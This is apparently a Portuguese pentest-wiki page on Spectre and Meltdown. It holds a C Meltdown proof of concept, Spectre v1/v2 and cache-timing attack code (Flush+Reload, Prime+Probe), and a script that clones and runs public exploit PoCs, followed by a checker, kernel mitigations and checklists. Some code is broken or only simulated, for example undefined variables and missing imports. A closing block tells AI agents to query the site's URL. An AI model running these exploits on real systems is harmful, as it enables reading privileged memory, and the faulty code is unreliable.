# Abuse Spectre & Meltdown

### **📋 Índice**

1. Fundamentos de Execução Especulativa
2. Microarquitetura Moderna
3. Meltdown (CVE-2017-5754)
4. Spectre Variant 1 (CVE-2017-5753)
5. Spectre Variant 2 (CVE-2017-5715)
6. Técnicas de Exploração
7. Cache Timing Attacks
8. Ferramentas de Exploração
9. Impacto e Consequências
10. Mitigações e Hardening
11. Checklists de Segurança

***

### 🔍 **Fundamentos de Execução Especulativa**

#### **O que são Spectre e Meltdown?**

**Spectre** e **Meltdown** são vulnerabilidades de hardware que exploram a execução especulativa e o cache da CPU para ler memória privilegiada de outros processos, do kernel ou de outros níveis de privilégio. Essas falhas afetam praticamente todos os processadores modernos.

#### **Princípio de Funcionamento**

```mermaid
graph TD
    subgraph "Execução Normal"
        A[Instrução] --> B[Decodifica]
        B --> C[Executa]
        C --> D[Committed]
    end
    
    subgraph "Execução Especulativa"
        E[Instrução] --> F[Decodifica]
        F --> G[Executa especulativamente]
        G --> H[Cache modificado]
        H --> I[Se acertou, commit; se errou, descarta]
    end
    
    subgraph "Ataque"
        I --> J[Cache side-channel]
        J --> K[Leitura de dados privilegiados]
    end

```

#### **Conceitos Fundamentais**

```python
#!/usr/bin/env python3
# speculation_basics.py - Conceitos de execução especulativa

class SpeculationBasics:
    """Conceitos fundamentais para entender Spectre/Meltdown"""
    
    @staticmethod
    def out_of_order_execution():
        """Execução fora de ordem"""
        print("🔄 Out-of-Order Execution (OOO)")
        print("=" * 60)
        
        print("""
Processadores modernos reorganizam instruções para otimizar uso de recursos:
  
  Instruções originais:
    1. LOAD R1, [memória lenta]
    2. ADD R2, R1, R3
    3. LOAD R4, [memória rápida]
    4. ADD R5, R4, R6

  Execução OOO (enquanto espera memória lenta):
    1. LOAD R4, [memória rápida]    <- Executa primeiro
    2. ADD R5, R4, R6                <- Executa segundo
    3. LOAD R1, [memória lenta]      <- Executa depois
    4. ADD R2, R1, R3                <- Executa depois
""")
    
    @staticmethod
    def branch_prediction():
        """Predição de branch"""
        print("\n🎯 Branch Prediction")
        print("=" * 60)
        
        print("""
O processador tenta prever qual caminho será tomado em condicionais:

  if (condicao) {
      // Caminho A - predito
      instrucao_secreta();
  } else {
      // Caminho B - alternativo
  }

Se a previsão estiver errada, as instruções já executadas são descartadas,
mas os efeitos no cache PERMANECEM! Este é o vetor do Spectre.
""")
    
    @staticmethod
    def speculative_execution():
        """Execução especulativa"""
        print("\n⚡ Speculative Execution")
        print("=" * 60)
        
        print("""
A CPU executa instruções antes de saber se são necessárias:
  1. Prediz que branch será tomado
  2. Executa instruções especulativamente
  3. Verifica se a previsão estava correta
  4. Se errada: descarta resultados, mas CACHE PERMANECE MODIFICADO

O ataque explora as marcas deixadas no cache durante a execução especulativa.
""")
    
    @staticmethod
    def cache_timing():
        """Cache timing side-channel"""
        print("\n💾 Cache Timing Side-Channel")
        print("=" * 60)
        
        print("""
Cache hits vs misses têm tempos de acesso diferentes:
  • Cache hit: ~1-5 ciclos (rápido)
  • Cache miss: ~200-500 ciclos (lento)

Medindo o tempo de acesso a diferentes endereços, podemos inferir
quais dados estão no cache, e consequentemente, quais foram acessados
durante a execução especulativa.
""")

# Executar
SpeculationBasics.out_of_order_execution()
SpeculationBasics.branch_prediction()
SpeculationBasics.speculative_execution()
SpeculationBasics.cache_timing()
```

***

### 🏗️ **Microarquitetura Moderna**

#### **Pipeline da CPU**

```c
// pipeline_diagram.c - Diagrama do pipeline

/*
Pipeline Típico (Intel Skylake):

+---------+---------+---------+---------+---------+---------+---------+---------+
|  Fetch  |  Decode |  Rename |  Disp   |  Issue  |  Exec   |  Commit |  Retire |
+---------+---------+---------+---------+---------+---------+---------+---------+
    |          |         |         |         |         |         |         |
    v          v         v         v         v         v         v         v
  Busca    Decodifica  Reg.     Dispatch   Issue    Executa   Commit   Retira
  instrução instrução  Renomeio  para UOPS  UOPS     UOPS     Resultado Resultado

Componentes Críticos:
  • ROB (Reorder Buffer): 224 entradas
  • Load Buffer: 72 entradas
  • Store Buffer: 56 entradas
  • L1 Cache: 32KB (instruções) + 32KB (dados)
  • L2 Cache: 256KB
  • L3 Cache: 8-32MB (compartilhado)
*/
```

#### **Hierarquia de Cache**

```python
#!/usr/bin/env python3
# cache_hierarchy.py - Hierarquia de cache

class CacheHierarchy:
    """Análise da hierarquia de cache"""
    
    @staticmethod
    def cache_levels():
        """Níveis de cache"""
        print("📊 Hierarquia de Cache")
        print("=" * 60)
        
        cache_levels = {
            "L1 Data Cache": {
                "tamanho": "32KB",
                "latência": "4-5 ciclos",
                "por_core": True,
                "associatividade": "8-way"
            },
            "L1 Instruction Cache": {
                "tamanho": "32KB",
                "latência": "4-5 ciclos",
                "por_core": True,
                "associatividade": "8-way"
            },
            "L2 Cache": {
                "tamanho": "256KB",
                "latência": "12-15 ciclos",
                "por_core": True,
                "associatividade": "8-way"
            },
            "L3 Cache (LLC)": {
                "tamanho": "8-32MB",
                "latência": "35-45 ciclos",
                "compartilhado": True,
                "associatividade": "16-way"
            },
            "RAM": {
                "tamanho": "GB",
                "latência": "200-500 ciclos",
                "compartilhado": True,
                "associatividade": "N/A"
            }
        }
        
        for level, info in cache_levels.items():
            print(f"\n📁 {level}")
            for key, value in info.items():
                print(f"   {key}: {value}")
    
    @staticmethod
    def cache_side_channel():
        """Cache side-channel attacks"""
        print("\n🔍 Cache Side-Channel Attacks")
        print("=" * 60)
        
        attacks = {
            "Prime+Probe": "Atacante preenche cache, executa vítima, mede evicções",
            "Flush+Reload": "Atacante limpa cache, executa vítima, mede tempo de reload",
            "Evict+Time": "Atacante causa evicções, mede tempo de acesso",
            "Flush+Flush": "Mede tempo de flush para inferir acessos"
        }
        
        for attack, desc in attacks.items():
            print(f"   • {attack}: {desc}")

# Executar
CacheHierarchy.cache_levels()
CacheHierarchy.cache_side_channel()
```

***

### 💥 **Meltdown (CVE-2017-5754)**

#### **O que é Meltdown?**

Meltdown explora a execução especulativa para ler memória do kernel a partir do espaço de usuário. Ele quebra o isolamento entre usuário e kernel.

#### **Princípio de Funcionamento**

```mermaid
sequenceDiagram
    participant U as User Space
    participant K as Kernel Space
    participant C as CPU

    Note over U,C: 1. Tentativa de acesso a memória do kernel
    U->>C: mov rax, [kernel_address]
    C->>C: Detecta acesso ilegal
    C->>C: Sinaliza exceção
    
    Note over C: 2. Execução especulativa
    C->>C: Continua especulativamente
    C->>C: Usa dado do kernel
    C->>C: Calcula endereço baseado no dado
    C->>C: Acessa array baseado no valor
    C->>C: Cache é modificado
    
    Note over C: 3. Exceção é tratada
    C->>U: Segmentation fault
    Note over C: Resultados da execução especulativa são descartados
    
    Note over U,C: 4. Side-channel attack
    U->>C: Mede tempo de acesso ao array
    C-->>U: Determina qual cache line foi carregada
    Note over U: Infere o valor do dado do kernel
```

#### **Implementação Conceitual**

```c
// meltdown_concept.c - Implementação conceitual do Meltdown

#include <stdint.h>
#include <string.h>
#include <signal.h>
#include <setjmp.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>

#define CACHE_HIT_THRESHOLD 80
#define PAGE_SIZE 4096

// Array para side-channel (uma página por valor possível)
uint8_t *side_channel_array;

// Buffer para dados do kernel (simulado)
uint8_t kernel_data[256];

// Jump buffer para handler de exceção
sigjmp_buf jmpbuf;

// Handler para segmentation fault
void sigsegv_handler(int signum) {
    siglongjmp(jmpbuf, 1);
}

// Função para medir tempo de acesso
int read_memory_access_time(volatile uint8_t *addr) {
    unsigned int time;
    
    asm volatile (
        "mfence\n"
        "rdtsc\n"
        "lfence\n"
        "movl %%eax, %%esi\n"
        "movl (%1), %%eax\n"
        "lfence\n"
        "rdtsc\n"
        "subl %%esi, %%eax\n"
        : "=a" (time)
        : "r" (addr)
        : "ecx", "edx", "esi", "memory"
    );
    
    return time;
}

// Função para flush do cache
void flush_cache(volatile uint8_t *addr) {
    asm volatile ("clflush 0(%0)" : : "r"(addr) : "memory");
}

// Ataque Meltdown
uint8_t meltdown_attack(uintptr_t kernel_addr) {
    uint8_t value;
    
    // Flush array do side-channel
    for (int i = 0; i < 256; i++) {
        flush_cache(&side_channel_array[i * PAGE_SIZE]);
    }
    
    // Setup signal handler
    signal(SIGSEGV, sigsegv_handler);
    
    if (sigsetjmp(jmpbuf, 1) == 0) {
        // 🔴 Instrução que causa page fault (acesso ilegal)
        value = *(volatile uint8_t *)kernel_addr;
        
        // 🔴 Execução especulativa continua
        // Acessa array baseado no valor lido
        // Este acesso modifica o cache
        asm volatile (
            "mov %0, %%rbx\n"
            "shl $12, %%rbx\n"
            "mov (%1, %%rbx), %%rax\n"
            :
            : "r"((uint64_t)value),
              "r"(side_channel_array)
            : "rax", "rbx", "memory"
        );
    } else {
        // Exceção ocorreu, execução especulativa descartada
        // Mas cache permanece modificado!
    }
    
    // Medir tempo de acesso para cada posição
    int min_time = INT_MAX;
    uint8_t guessed_value = 0;
    
    for (int i = 0; i < 256; i++) {
        int time = read_memory_access_time(&side_channel_array[i * PAGE_SIZE]);
        if (time < min_time) {
            min_time = time;
            guessed_value = i;
        }
    }
    
    return guessed_value;
}

int main() {
    // Inicializar arrays
    side_channel_array = mmap(NULL, 256 * PAGE_SIZE, 
                              PROT_READ | PROT_WRITE,
                              MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    
    // Configurar dados do kernel (simulado)
    for (int i = 0; i < 256; i++) {
        kernel_data[i] = i;
    }
    
    // Realizar ataque
    printf("[*] Starting Meltdown attack\n");
    
    for (int i = 0; i < 256; i++) {
        uint8_t leaked = meltdown_attack((uintptr_t)&kernel_data[i]);
        printf("[+] Leaked byte %d: 0x%02x\n", i, leaked);
        
        if (leaked != kernel_data[i]) {
            printf("[-] Failed to leak byte %d\n", i);
            break;
        }
    }
    
    return 0;
}
```

***

### 🧠 **Spectre Variant 1 (CVE-2017-5753)**

#### **O que é Spectre v1?**

Spectre Variant 1 (Bounds Check Bypass) explora a predição de branch para executar código especulativamente além de verificações de limites.

#### **Princípio de Funcionamento**

```c
// spectre_v1_concept.c - Spectre Variant 1

#include <stdint.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>

// Array com dados sensíveis
uint8_t secret_data[256];

// Array para side-channel
uint8_t *side_channel_array;

// Função vulnerável (exemplo: verificação de array)
int vulnerable_function(int idx) {
    uint8_t value;
    
    // Bounds check
    if (idx < 256) {
        // 🔴 Branch predito como tomado
        // Execução especulativa ocorre mesmo se idx for inválido!
        
        // Acesso ao array (seguro se idx < 256)
        value = secret_data[idx];
        
        // Acesso ao side-channel baseado no valor
        // Este acesso modifica o cache
        side_channel_array[value * 4096]++;
    }
    
    return 0;
}

// Ataque Spectre v1
void spectre_v1_attack() {
    // Treinar o branch predictor para sempre tomar o branch
    for (int i = 0; i < 1000; i++) {
        vulnerable_function(0);  // Índice válido
    }
    
    // Agora, fornecer índice inválido (fora dos limites)
    // O branch predictor ainda prevê que será tomado!
    vulnerable_function(256 + secret_offset);
    
    // Medir side-channel para inferir o valor
    // ...
}
```

#### **Implementação Detalhada**

```python
#!/usr/bin/env python3
# spectre_v1_attack.py - Implementação do Spectre v1

import time
import sys

class SpectreV1:
    """Implementação do Spectre Variant 1"""
    
    def __init__(self, array_size=256):
        self.array_size = array_size
        self.secret_data = bytearray(range(array_size))
        self.side_channel = bytearray(256 * 4096)
        self.cache_hit_threshold = 80
    
    def flush_side_channel(self):
        """Limpar cache do side-channel"""
        for i in range(0, len(self.side_channel), 4096):
            # Simular flush de cache line
            pass
    
    def read_memory_time(self, addr):
        """Medir tempo de acesso à memória"""
        start = time.perf_counter_ns()
        # Acessar endereço
        _ = self.side_channel[addr]
        end = time.perf_counter_ns()
        return end - start
    
    def vulnerable_function(self, idx):
        """Função vulnerável com bounds check"""
        # Simular acesso especulativo
        if idx < self.array_size:
            # Acesso especulativo
            value = self.secret_data[idx]
            # Side-channel access
            self.side_channel[value * 4096] = 1
    
    def train_branch_predictor(self, iterations=1000):
        """Treinar branch predictor para sempre tomar o branch"""
        print(f"[*] Treinando branch predictor com {iterations} iterações")
        
        for i in range(iterations):
            self.vulnerable_function(0)  # Índice válido
    
    def attack_byte(self, offset):
        """Extrair um byte específico"""
        # Flush side-channel
        self.flush_side_channel()
        
        # Tentativa de acesso especulativo com índice inválido
        self.vulnerable_function(self.array_size + offset)
        
        # Medir tempos de acesso
        times = []
        for i in range(256):
            addr = i * 4096
            if addr < len(self.side_channel):
                access_time = self.read_memory_time(addr)
                times.append((i, access_time))
        
        # Encontrar o valor com menor tempo (cache hit)
        best = min(times, key=lambda x: x[1])
        
        if best[1] < self.cache_hit_threshold:
            return best[0]
        return None
    
    def exploit(self, start_offset=0, num_bytes=16):
        """Executar ataque Spectre v1"""
        print("🧠 Spectre Variant 1 Attack")
        print("=" * 60)
        
        # Treinar branch predictor
        self.train_branch_predictor()
        
        # Extrair bytes
        leaked_data = []
        for i in range(num_bytes):
            byte = self.attack_byte(start_offset + i)
            if byte is not None:
                leaked_data.append(byte)
                print(f"[+] Leaked byte {i}: 0x{byte:02x} ('{chr(byte) if 32 <= byte < 127 else '.'}')")
            else:
                print(f"[-] Failed to leak byte {i}")
        
        return bytes(leaked_data)

# Uso
if __name__ == "__main__":
    attack = SpectreV1()
    leaked = attack.exploit(start_offset=0, num_bytes=16)
    print(f"\n[*] Leaked data: {leaked}")
```

***

### 🔥 **Spectre Variant 2 (CVE-2017-5715)**

#### **O que é Spectre v2?**

Spectre Variant 2 (Branch Target Injection) explora o Branch Target Buffer (BTB) para induzir a CPU a saltar para endereços arbitrários durante execução especulativa.

#### **Princípio de Funcionamento**

```c
// spectre_v2_concept.c - Spectre Variant 2

#include <stdint.h>
#include <stdio.h>

// Função gadget (código que será executado especulativamente)
uint64_t gadget_function(uint64_t x) {
    // Acesso a array baseado em x
    // Usado como side-channel
    return side_channel_array[x * 4096];
}

// Função que será usada para treinar o BTB
void legitimate_function() {
    // Código legítimo
}

// Ataque Spectre v2
void spectre_v2_attack() {
    // 1. Treinar BTB para que o endereço de legitimate_function
    //    seja associado ao gadget
    for (int i = 0; i < 1000; i++) {
        legitimate_function();
    }
    
    // 2. Execução especulativa irá para gadget_function
    //    em vez de legitimate_function
    
    // 3. Gadget acessa side-channel baseado em dado secreto
    
    // 4. Medir cache para inferir dado
}
```

#### **Implementação Conceitual**

```python
#!/usr/bin/env python3
# spectre_v2_attack.py - Implementação do Spectre v2

import time
import ctypes
import sys

class SpectreV2:
    """Implementação do Spectre Variant 2"""
    
    def __init__(self):
        self.side_channel = bytearray(256 * 4096)
        self.cache_hit_threshold = 80
        self.btb_entries = 64  # Número de entradas BTB
    
    def flush_cache(self):
        """Limpar cache"""
        for i in range(0, len(self.side_channel), 4096):
            pass  # Simular flush
    
    def measure_time(self, addr):
        """Medir tempo de acesso"""
        start = time.perf_counter_ns()
        _ = self.side_channel[addr]
        end = time.perf_counter_ns()
        return end - start
    
    def gadget_function(self, secret_value):
        """Gadget que será executado especulativamente"""
        # Acesso baseado no valor secreto
        # Modifica o cache
        self.side_channel[secret_value * 4096] = 1
        return secret_value
    
    def legitimate_function(self):
        """Função legítima para treinar BTB"""
        return 0
    
    def train_btb(self, iterations=1000):
        """Treinar Branch Target Buffer"""
        print(f"[*] Treinando BTB com {iterations} iterações")
        
        for i in range(iterations):
            self.legitimate_function()
    
    def speculate(self, secret_offset):
        """Forçar execução especulativa com gadget"""
        # Em assembly real, isso seria mais complexo
        # Usaríamos instruções como "jmp" para influenciar BTB
        
        # Simular acesso especulativo
        self.gadget_function(secret_offset)
    
    def attack_byte(self, offset):
        """Extrair um byte via Spectre v2"""
        self.flush_cache()
        
        # Treinar BTB
        self.train_btb()
        
        # Forçar especulação
        self.speculate(offset)
        
        # Medir side-channel
        times = []
        for i in range(256):
            addr = i * 4096
            if addr < len(self.side_channel):
                access_time = self.measure_time(addr)
                times.append((i, access_time))
        
        # Encontrar cache hit
        best = min(times, key=lambda x: x[1])
        if best[1] < self.cache_hit_threshold:
            return best[0]
        return None
    
    def exploit(self, num_bytes=16):
        """Executar ataque Spectre v2"""
        print("🧠 Spectre Variant 2 Attack")
        print("=" * 60)
        
        leaked = []
        for i in range(num_bytes):
            byte = self.attack_byte(i)
            if byte is not None:
                leaked.append(byte)
                print(f"[+] Leaked byte {i}: 0x{byte:02x}")
            else:
                print(f"[-] Failed to leak byte {i}")
        
        return bytes(leaked)

# Uso
if __name__ == "__main__":
    attack = SpectreV2()
    leaked = attack.exploit(16)
    print(f"\n[*] Leaked: {leaked[:16]}")
```

***

### ⏱️ **Cache Timing Attacks**

#### **Implementação de Flush+Reload**

```python
#!/usr/bin/env python3
# flush_reload.py - Implementação de Flush+Reload

import time
import array
import sys

class FlushReload:
    """Implementação do ataque Flush+Reload para side-channel"""
    
    def __init__(self):
        self.cache_hit_threshold = 80
        self.cache_line_size = 64  # bytes
        self.test_array = array.array('B', [0]) * (256 * 4096)
    
    def flush(self, addr):
        """Flush de cache line (CLFLUSH)"""
        # Em assembly real: clflush [addr]
        # Simulação: tocar na memória para invalidar cache
        _ = self.test_array[addr]
    
    def flush_range(self, start, size):
        """Flush de um range de memória"""
        for offset in range(0, size, self.cache_line_size):
            self.flush(start + offset)
    
    def reload(self, addr):
        """Reload e medição de tempo"""
        start = time.perf_counter_ns()
        _ = self.test_array[addr]
        end = time.perf_counter_ns()
        return end - start
    
    def probe(self, addr):
        """Probe para verificar se endereço está em cache"""
        access_time = self.reload(addr)
        return access_time < self.cache_hit_threshold
    
    def prime_cache(self, addresses):
        """Prime cache - preencher com endereços específicos"""
        for addr in addresses:
            _ = self.test_array[addr]
    
    def evict_cache(self, addresses):
        """Evict cache - causar evicções"""
        # Acessar muitos endereços para forçar evicções
        for i in range(0, len(self.test_array), 4096):
            _ = self.test_array[i]
    
    def flush_reload_attack(self, target_addr, reload_addr, iterations=100):
        """Ataque Flush+Reload completo"""
        print("[*] Executando Flush+Reload attack")
        
        hits = 0
        for i in range(iterations):
            # Flush target
            self.flush(target_addr)
            
            # Aguardar vítima acessar (simulado)
            time.sleep(0.001)
            
            # Reload e medir
            access_time = self.reload(reload_addr)
            
            if access_time < self.cache_hit_threshold:
                hits += 1
                if i % 10 == 0:
                    print(f"   Hit #{hits} at iteration {i}")
        
        hit_rate = hits / iterations
        print(f"[+] Hit rate: {hit_rate * 100:.1f}%")
        
        return hit_rate

# Uso
if __name__ == "__main__":
    attack = FlushReload()
    
    # Simular endereços
    target = 0x1000
    reload_target = 0x2000
    
    attack.flush_reload_attack(target, reload_target, 50)
```

#### **Prime+Probe Attack**

```python
#!/usr/bin/env python3
# prime_probe.py - Implementação de Prime+Probe

import time
import random

class PrimeProbe:
    """Implementação do ataque Prime+Probe"""
    
    def __init__(self, cache_sets=64, ways=8):
        self.cache_sets = cache_sets
        self.ways = ways
        self.cache_hit_threshold = 80
        self.eviction_set_size = ways + 1
    
    def prime_set(self, set_index):
        """Preencher um conjunto de cache"""
        # Acessar endereços que mapeiam para o mesmo conjunto
        # (eviction set)
        for i in range(self.eviction_set_size):
            # Acessar endereço que mapeia para set_index
            addr = self.get_address_for_set(set_index, i)
            _ = self.access_memory(addr)
    
    def probe_set(self, set_index):
        """Verificar quais linhas do conjunto foram evictadas"""
        times = []
        for i in range(self.ways):
            addr = self.get_address_for_set(set_index, i)
            start = time.perf_counter_ns()
            _ = self.access_memory(addr)
            end = time.perf_counter_ns()
            times.append(end - start)
        
        # Linhas com acesso rápido ainda estão em cache
        return [t < self.cache_hit_threshold for t in times]
    
    def get_address_for_set(self, set_index, way):
        """Obter endereço que mapeia para conjunto específico"""
        # Em implementação real, calcula baseado em
        # associações de cache e endereços virtuais
        return set_index * 4096 + way * 64
    
    def access_memory(self, addr):
        """Simular acesso à memória"""
        # Em implementação real, usaria ponteiro
        return addr
    
    def prime_probe_attack(self, target_set, iterations=100):
        """Ataque Prime+Probe"""
        print("[*] Executando Prime+Probe attack")
        
        results = []
        for i in range(iterations):
            # Prime - preencher cache
            self.prime_set(target_set)
            
            # Aguardar vítima acessar (simulado)
            time.sleep(0.001)
            
            # Probe - verificar quais linhas foram evictadas
            cache_state = self.probe_set(target_set)
            results.append(cache_state)
            
            if i % 10 == 0:
                evictions = sum(1 for x in cache_state if not x)
                print(f"   Iteration {i}: {evictions} evictions")
        
        # Analisar resultados
        return self.analyze_results(results)
    
    def analyze_results(self, results):
        """Analisar resultados do ataque"""
        # Calcular estatísticas
        total_evictions = 0
        for state in results:
            total_evictions += sum(1 for x in state if not x)
        
        avg_evictions = total_evictions / len(results)
        print(f"[+] Average evictions per probe: {avg_evictions:.2f}")
        
        return avg_evictions

# Uso
if __name__ == "__main__":
    attack = PrimeProbe()
    attack.prime_probe_attack(0, 50)
```

***

### 🛠️ **Ferramentas de Exploração**

#### **Kit de Exploração**

```bash
#!/bin/bash
# spectre_meltdown_tools.sh - Ferramentas para Spectre/Meltdown

# 1. Verificar vulnerabilidade
echo "[*] Verificando vulnerabilidades Spectre/Meltdown"

# Script de detecção da Intel
./spectre-meltdown-checker.sh

# 2. Ferramentas de exploração
echo "\n[*] Ferramentas de exploração"

# Mastik - Framework para side-channel attacks
git clone https://github.com/0xADE1A1DE/Mastik.git
cd Mastik
make

# CacheTemplate - Template attacks
git clone https://github.com/IAIK/cache_template_attacks.git

# 3. PoCs
echo "\n[*] Proof of Concepts"

# Spectre PoC
git clone https://github.com/Eugnis/spectre-attack.git
cd spectre-attack
make
./spectre

# Meltdown PoC
git clone https://github.com/IAIK/meltdown.git
cd meltdown
make
./meltdown

# 4. Kernel module para acesso a MSRs
echo "\n[*] MSR access module"
git clone https://github.com/cirosantilli/msr-tools
cd msr-tools
make
sudo ./rdmsr 0x10a
```

#### **Script de Verificação**

```python
#!/usr/bin/env python3
# spectre_meltdown_check.py - Verificador de vulnerabilidades

import subprocess
import platform
import sys

class SpectreMeltdownCheck:
    """Verificador de vulnerabilidades Spectre/Meltdown"""
    
    @staticmethod
    def check_cpu_info():
        """Verificar informações da CPU"""
        print("[*] Verificando CPU")
        
        with open('/proc/cpuinfo', 'r') as f:
            cpuinfo = f.read()
        
        # Verificar modelo
        if 'model name' in cpuinfo:
            for line in cpuinfo.split('\n'):
                if 'model name' in line:
                    print(f"   {line.strip()}")
                    break
        
        # Verificar flags
        flags = []
        for line in cpuinfo.split('\n'):
            if 'flags' in line:
                flags = line.split(':')[1].strip().split()
                break
        
        return flags
    
    @staticmethod
    def check_kernel_version():
        """Verificar versão do kernel"""
        print("\n[*] Verificando kernel")
        
        kernel = platform.release()
        print(f"   Kernel version: {kernel}")
        
        # Verificar patches
        with open('/proc/version', 'r') as f:
            version = f.read()
        
        if 'KAISER' in version or 'KPTI' in version:
            print("   ✅ KPTI/KAISER patches detectados")
        else:
            print("   ⚠️ Patches KPTI/KAISER não detectados")
    
    @staticmethod
    def check_msr():
        """Verificar MSR para mitigações"""
        print("\n[*] Verificando MSR mitigations")
        
        try:
            # Ler MSR 0x10a (IA32_ARCH_CAPABILITIES)
            result = subprocess.run(['rdmsr', '-x', '0x10a'], 
                                  capture_output=True, text=True)
            if result.returncode == 0:
                msr = int(result.stdout.strip(), 16)
                print(f"   IA32_ARCH_CAPABILITIES: 0x{msr:x}")
                
                # Verificar bits
                if msr & (1 << 0):
                    print("   ✅ RDCL_NO (Meltdown not vulnerable)")
                if msr & (1 << 1):
                    print("   ✅ IBRS_ALL (Spectre v2 mitigated)")
                if msr & (1 << 2):
                    print("   ✅ RSBA (RSB alternative)")
            else:
                print("   ❌ Não foi possível ler MSR")
        except:
            print("   ❌ rdmsr não disponível")
    
    @staticmethod
    def check_sysfs():
        """Verificar sysfs para mitigations"""
        print("\n[*] Verificando sysfs mitigations")
        
        mitigation_files = [
            "/sys/devices/system/cpu/vulnerabilities/meltdown",
            "/sys/devices/system/cpu/vulnerabilities/spectre_v1",
            "/sys/devices/system/cpu/vulnerabilities/spectre_v2"
        ]
        
        for filepath in mitigation_files:
            try:
                with open(filepath, 'r') as f:
                    status = f.read().strip()
                print(f"   {filepath.split('/')[-1]}: {status}")
            except:
                print(f"   {filepath.split('/')[-1]}: Not available")
    
    @staticmethod
    def generate_report():
        """Gerar relatório"""
        print("\n📊 RELATÓRIO DE VULNERABILIDADES")
        print("=" * 60)
        
        print("\nRecomendações:")
        print("   • Atualizar firmware/microcódigo da CPU")
        print("   • Atualizar kernel (4.15+ para mitigations)")
        print("   • Habilitar mitigations via kernel parameters")
        print("   • Considerar retpoline para Spectre v2")
        print("   • Isolar processos críticos em cores dedicados")

# Uso
if __name__ == "__main__":
    print("🔍 Spectre/Meltdown Vulnerability Checker")
    print("=" * 60)
    
    if os.geteuid() != 0:
        print("⚠️ Algumas verificações requerem root")
    
    SpectreMeltdownCheck.check_cpu_info()
    SpectreMeltdownCheck.check_kernel_version()
    SpectreMeltdownCheck.check_msr()
    SpectreMeltdownCheck.check_sysfs()
    SpectreMeltdownCheck.generate_report()
```

***

### 🛡️ **Mitigações e Hardening**

#### **Mitigações do Kernel**

```bash
#!/bin/bash
# spectre_meltdown_mitigations.sh - Configuração de mitigações

# 1. Parâmetros de boot do kernel
echo "[*] Configurando parâmetros de boot"

# Para GRUB2
cat >> /etc/default/grub << EOF
# Mitigações Spectre/Meltdown
GRUB_CMDLINE_LINUX="\$GRUB_CMDLINE_LINUX mitigations=auto"
GRUB_CMDLINE_LINUX="\$GRUB_CMDLINE_LINUX spectre_v2=on"
GRUB_CMDLINE_LINUX="\$GRUB_CMDLINE_LINUX spectre_v2_user=on"
GRUB_CMDLINE_LINUX="\$GRUB_CMDLINE_LINUX spec_store_bypass_disable=on"
GRUB_CMDLINE_LINUX="\$GRUB_CMDLINE_LINUX tsx=off"
GRUB_CMDLINE_LINUX="\$GRUB_CMDLINE_LINUX kvm.nx_huge_pages=force"
EOF

# Atualizar GRUB
update-grub  # Debian/Ubuntu
# grub2-mkconfig -o /boot/grub2/grub.cfg  # RHEL/CentOS

# 2. Verificar mitigações ativas
echo "\n[*] Verificando mitigações ativas"
sysctl kernel.unprivileged_bpf_disabled
sysctl kernel.kptr_restrict
sysctl kernel.dmesg_restrict

# 3. Configurar hardening adicional
echo "\n[*] Configurando hardening adicional"
echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/perf_event_paranoid

# 4. Desabilitar hyper-threading (opcional, performance impact)
echo "\n[*] Desabilitando hyper-threading (performance impact)"
# echo off > /sys/devices/system/cpu/smt/control

echo "\n✅ Mitigações configuradas. Reinicie para aplicar alterações."
```

#### **Compilação com Mitigações**

```c
// mitigation_compilation.c - Compilação com mitigações

#include <stdio.h>
#include <stdint.h>

// 1. Compilação com retpoline (Spectre v2)
// gcc -mfunction-return=thunk -mindirect-branch=thunk -o binary binary.c

// 2. Compilação com lfence (Spectre v1)
// gcc -mno-fence-as-load -o binary binary.c

// 3. Uso de lfence manual
__attribute__((always_inline))
static inline void lfence() {
    asm volatile("lfence" ::: "memory");
}

// 4. Array de verificação segura
int safe_array_access(int *array, int idx, int size) {
    if (idx < size) {
        lfence();  // Serializa para prevenir execução especulativa
        return array[idx];
    }
    return -1;
}

// 5. Máscara de bits para acesso condicional
int masked_access(int *array, int idx, int size) {
    int mask = (idx < size) ? -1 : 0;
    int safe_idx = idx & mask;
    return array[safe_idx];
}
```

***

### 📋 **Checklists de Segurança**

#### **Checklist para Administradores**

* [ ] Atualizar microcódigo da CPU (firmware)
* [ ] Atualizar kernel para versão com mitigations
* [ ] Habilitar parâmetros de boot: `mitigations=auto`
* [ ] Verificar mitigações via `/sys/devices/system/cpu/vulnerabilities/`
* [ ] Considerar retpoline para Spectre v2
* [ ] Isolar processos críticos (core isolation)
* [ ] Monitorar logs de side-channel attempts

#### **Checklist para Desenvolvedores**

* [ ] Usar `lfence` para serializar branches críticos
* [ ] Evitar padrões de código vulneráveis a Spectre v1
* [ ] Compilar com `-mfunction-return=thunk` para retpoline
* [ ] Usar `__attribute__((no_speculative_load_hardening))` quando necessário
* [ ] Validar entradas com máscaras de bits

***

### 📊 **Conclusão**

```yaml
Spectre & Meltdown:

  🔴 Principais Vulnerabilidades:
    - Meltdown: Leitura de memória do kernel
    - Spectre v1: Bypass de bounds check
    - Spectre v2: Branch target injection
    - Spectre v4: Speculative store bypass

  🛡️ Mitigações Essenciais:
    - KPTI (Kernel Page Table Isolation)
    - Retpoline
    - LFENCE serialization
    - IBRS/IBPB (Indirect Branch Restricted Speculation)
    - SSBD (Speculative Store Bypass Disable)

  🎯 Prioridade:
    - CRÍTICA: Atualização de microcódigo
    - ALTA: Mitigações de kernel
    - MÉDIA: Compilação com retpoline
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/linguagens-de-programacao/low-level/abuse-spectre-and-meltdown.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
